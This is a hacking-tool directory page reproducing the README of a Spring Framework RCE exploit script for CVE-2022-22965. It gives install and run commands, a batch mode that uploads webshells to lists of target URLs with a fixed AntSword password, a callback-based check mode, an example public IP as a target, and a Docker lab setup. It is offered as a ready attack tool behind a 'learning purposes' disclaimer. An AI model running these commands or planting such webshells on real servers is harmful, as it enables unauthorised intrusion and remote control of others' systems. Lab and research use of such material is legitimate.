Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
spring-core-rce — spring框架RCE漏洞 CVE-2022-22965 | Kitploit
Tools/GitHubGitHub/k3rwin/spring-core-rce
ReconnaissancePayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubk3rwin/spring-core-rce

spring-core-rce

spring框架RCE漏洞 CVE-2022-22965

View Repository
281124 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Spring Core RCE/CVE-2022-22965

Affected scope: Spring framework and derivative frameworks with JDK>=9

Reference article

This script is for learning purposes only. Any legal liability arising from its use for other purposes is solely the responsibility of the user, not the author.

1. Installation

root@kitploit:~
pip3 install -r requirements.txt

2. Usage

root@kitploit:~
$ python3 spring-core-rce.py -h

 .----..-.-. .---. .-..-. .-..----.     .----. .---. .---. .----.     .---. .----..----.
{ {__-`| } }}} }}_}{ ||  \{ || |--' ___ | }`-'/ {-. \} }}_}} |__} ___ } }}_}| }`-'} |__}
.-._} }| |-' | } \ | }| }\  {| }-`}{___}| },-.\ '-} /| } \ } '__}{___}| } \ | },-.} '__}
`----' `-'   `-'-' `-'`-' `-'`----'     `----' `---' `-'-' `----'     `-'-' `----'`----'


                                                 Spring framework Core RCE
                                                                  By:K3rwin
usage: spring-core-rce.py [-h] [-u URL] [-s SYSTEM] [-r FILE]

Spring framework Core 0day RCE help guide

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Specify target URL
  -s SYSTEM, --system SYSTEM
                        Specify target host OS, default is linux; options: win/linux
  -r FILE, --file FILE  Specify URL file for batch upload of webshell

3. Example

Non-destructive detection

Use -u, --url or -f, --file for batch detection

-c, --check parameter specifies a self-hosted HTTP service. You can quickly set up a web server with python3 -m http.server 80

Mainly used in internal networks where non-destructive vulnerability detection is required

root@kitploit:~
python3 spring-core-rce.py -u "http://172.26.155.18:8080/" --check "http://172.26.155.18"

image-20220422153433867

Use -u to specify the URL, -s to specify the OS; parameters: linux or win, default is linux

root@kitploit:~
python3 spring-core-rce.py -u "http://1.117.155.217:8080/" -s "linux"

image-20220331203209702

image-20220331203858753

Use -r for batch upload of webshell; connect with AntSword, password is k3rwin

root@kitploit:~
python3 spring-core-rce.py -r "urls.txt"

image-20220402112140568

image-20220402112349943

4. Target

①. Local Docker Target Setup:

docker pull vulfocus/spring-core-rce-2022-03-29:latest

docker run -d -p 8080:8080 --name spring-core-rce -it vulfocus/spring-core-rce-2022-03-29

②. Online Target Range

Download Tool